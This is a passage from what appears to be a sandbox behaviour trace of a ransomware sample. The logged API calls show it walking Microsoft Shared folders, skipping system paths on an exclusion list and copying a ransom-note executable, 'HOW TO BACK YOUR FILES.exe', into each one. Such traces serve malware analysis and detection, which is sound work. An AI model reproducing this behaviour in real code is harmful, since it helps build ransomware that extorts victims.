YOUR FILES.exe") returned -1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2=".") returned 1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="..") returned 1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="windows") returned -1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="bootmgr") returned 1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="temp") returned -1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="pagefile.sys") returned -1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="boot") returned 1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="ids.txt") returned -1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="ntuser.dat") returned -1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="perflogs") returned -1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="MSBuild") returned -1 [0064.404] lstrlenW (lpString="GRPHFLT") returned 7 [0064.404] lstrcpyW (in: lpString1=0x241e8a6, lpString2="GRPHFLT" | out: lpString1="GRPHFLT") returned="GRPHFLT" [0064.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f610 [0064.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x538d20 [0064.404] lstrcatW (in: lpString1="GRPHFLT", lpString2="\\" | out: lpString1="GRPHFLT\\") returned="GRPHFLT\\" [0064.404] lstrcatW (in: lpString1="GRPHFLT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="GRPHFLT\\HOW TO BACK YOUR FILES.exe") returned="GRPHFLT\\HOW TO BACK YOUR FILES.exe" [0064.404] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.408] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.408] lstrcmpiW (lpString1="Help", lpString2=".") returned 1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="..") returned 1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="windows") returned -1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="bootmgr") returned 1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="temp") returned -1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="pagefile.sys") returned -1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="boot") returned 1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="ids.txt") returned -1 [0064.408] lstrcmpiW (lpString1="Help", lpString2="ntuser.dat") returned -1 [0064.409] lstrcmpiW (lpString1="Help", lpString2="perflogs") returned -1 [0064.409] lstrcmpiW (lpString1="Help", lpString2="MSBuild") returned -1 [0064.409] lstrlenW (lpString="Help") returned 4 [0064.409] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Help" | out: lpString1="Help") returned="Help" [0064.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5f8 [0064.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e120 [0064.409] lstrcatW (in: lpString1="Help", lpString2="\\" | out: lpString1="Help\\") returned="Help\\" [0064.409] lstrcatW (in: lpString1="Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Help\\HOW TO BACK YOUR FILES.exe") returned="Help\\HOW TO BACK YOUR FILES.exe" [0064.409] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.411] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd42b1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd42b1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0064.411] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0064.411] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.411] lstrcmpiW (lpString1="ink", lpString2=".") returned 1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="..") returned 1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="windows") returned -1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="bootmgr") returned 1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="temp") returned -1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="pagefile.sys") returned -1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="boot") returned 1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="ids.txt") returned 1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="ntuser.dat") returned -1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="perflogs") returned -1 [0064.411] lstrcmpiW (lpString1="ink", lpString2="MSBuild") returned -1 [0064.411] lstrlenW (lpString="ink") returned 3 [0064.411] lstrcpyW (in: lpString1=0x241e8a6, lpString2="ink" | out: lpString1="ink") returned="ink" [0064.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5e0 [0064.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52ed60 [0064.412] lstrcatW (in: lpString1="ink", lpString2="\\" | out: lpString1="ink\\") returned="ink\\" [0064.412] lstrcatW (in: lpString1="ink\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ink\\HOW TO BACK YOUR FILES.exe") returned="ink\\HOW TO BACK YOUR FILES.exe" [0064.412] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.414] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2=".") returned 1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="..") returned 1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="windows") returned -1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="bootmgr") returned 1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="temp") returned -1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="pagefile.sys") returned -1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="boot") returned 1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="ids.txt") returned 1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="ntuser.dat") returned -1 [0064.414] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="perflogs") returned -1 [0064.415] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="MSBuild") returned 1 [0064.415] lstrlenW (lpString="MSClientDataMgr") returned 15 [0064.415] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MSClientDataMgr" | out: lpString1="MSClientDataMgr") returned="MSClientDataMgr" [0064.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5c8 [0064.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x5191a0 [0064.422] lstrcatW (in: lpString1="MSClientDataMgr", lpString2="\\" | out: lpString1="MSClientDataMgr\\") returned="MSClientDataMgr\\" [0064.422] lstrcatW (in: lpString1="MSClientDataMgr\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSClientDataMgr\\HOW TO BACK YOUR FILES.exe") returned="MSClientDataMgr\\HOW TO BACK YOUR FILES.exe" [0064.422] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.444] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2=".") returned 1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="..") returned 1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="windows") returned -1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="bootmgr") returned 1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="temp") returned -1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="pagefile.sys") returned -1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="boot") returned 1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="ids.txt") returned 1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="ntuser.dat") returned -1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="perflogs") returned -1 [0064.444] lstrcmpiW (lpString1="MSInfo", lpString2="MSBuild") returned 1 [0064.444] lstrlenW (lpString="MSInfo") returned 6 [0064.444] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MSInfo" | out: lpString1="MSInfo") returned="MSInfo" [0064.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5b0 [0064.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x538d98 [0064.444] lstrcatW (in: lpString1="MSInfo", lpString2="\\" | out: lpString1="MSInfo\\") returned="MSInfo\\" [0064.444] lstrcatW (in: lpString1="MSInfo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSInfo\\HOW TO BACK YOUR FILES.exe") returned="MSInfo\\HOW TO BACK YOUR FILES.exe" [0064.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.451] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2=".") returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="..") returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="windows") returned -1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="bootmgr") returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="temp") returned -1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="pagefile.sys") returned -1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="boot") returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="ids.txt") returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="ntuser.dat") returned 1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="perflogs") returned -1 [0064.451] lstrcmpiW (lpString1="OFFICE14", lpString2="MSBuild") returned 1 [0064.451] lstrlenW (lpString="OFFICE14") returned 8 [0064.451] lstrcpyW (in: lpString1=0x241e8a6, lpString2="OFFICE14" | out: lpString1="OFFICE14") returned="OFFICE14" [0064.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f598 [0064.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x538e10 [0064.451] lstrcatW (in: lpString1="OFFICE14", lpString2="\\" | out: lpString1="OFFICE14\\") returned="OFFICE14\\" [0064.451] lstrcatW (in: lpString1="OFFICE14\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OFFICE14\\HOW TO BACK YOUR FILES.exe") returned="OFFICE14\\HOW TO BACK YOUR FILES.exe" [0064.451] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.472] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="windows") returned -1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="bootmgr") returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="temp") returned -1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="pagefile.sys") returned -1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="boot") returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="ids.txt") returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="ntuser.dat") returned 1 [0064.472] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="perflogs") returned -1 [0064.473] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="MSBuild") returned 1 [0064.473] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0064.473] lstrcpyW (in: lpString1=0x241e8a6, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform" [0064.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f538 [0064.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x522a38 [0064.473] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="OfficeSoftwareProtectionPlatform\\") returned="OfficeSoftwareProtectionPlatform\\" [0064.473] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe") returned="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" [0064.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.476] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2=".") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="..") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="windows") returned -1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="bootmgr") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="temp") returned -1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="pagefile.sys") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="boot") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="ids.txt") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="ntuser.dat") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="perflogs") returned 1 [0064.476] lstrcmpiW (lpString1="PROOF", lpString2="MSBuild") returned 1 [0064.476] lstrlenW (lpString="PROOF") returned 5 [0064.476] lstrcpyW (in: lpString1=0x241e8a6, lpString2="PROOF" | out: lpString1="PROOF") returned="PROOF" [0064.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f520 [0064.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x538e88 [0064.476] lstrcatW (in: lpString1="PROOF", lpString2="\\" | out: lpString1="PROOF\\") returned="PROOF\\" [0064.476] lstrcatW (in: lpString1="PROOF\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PROOF\\HOW TO BACK YOUR FILES.exe") returned="PROOF\\HOW TO BACK YOUR FILES.exe" [0064.476] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.488] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0064.488] lstrcmpiW (lpString1="Smart Tag", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2=".") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="..") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="windows") returned -1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="bootmgr") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="temp") returned -1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="pagefile.sys") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="boot") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="ids.txt") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="ntuser.dat") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="perflogs") returned 1 [0064.489] lstrcmpiW (lpString1="Smart Tag", lpString2="MSBuild") returned 1 [0064.489] lstrlenW (lpString="Smart Tag") returned 9 [0064.489] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Smart Tag" | out: lpString1="Smart Tag") returned="Smart Tag" [0064.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae10 [0064.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502928 [0064.489] lstrcatW (in: lpString1="Smart Tag", lpString2="\\" | out: lpString1="Smart Tag\\") returned="Smart Tag\\" [0064.489] lstrcatW (in: lpString1="Smart Tag\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Smart Tag\\HOW TO BACK YOUR FILES.exe") returned="Smart Tag\\HOW TO BACK YOUR FILES.exe" [0064.489] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.493] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2=".") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="..") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="windows") returned -1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="bootmgr") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="temp") returned -1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="pagefile.sys") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="boot") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="ids.txt") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="ntuser.dat") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="perflogs") returned 1 [0064.493] lstrcmpiW (lpString1="Source Engine", lpString2="MSBuild") returned 1 [0064.493] lstrlenW (lpString="Source Engine") returned 13 [0064.493] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Source Engine" | out: lpString1="Source Engine") returned="Source Engine" [0064.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae28 [0064.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519118 [0064.493] lstrcatW (in: lpString1="Source Engine", lpString2="\\" | out: lpString1="Source Engine\\") returned="Source Engine\\" [0064.493] lstrcatW (in: lpString1="Source Engine\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Source Engine\\HOW TO BACK YOUR FILES.exe") returned="Source Engine\\HOW TO BACK YOUR FILES.exe" [0064.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.496] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, 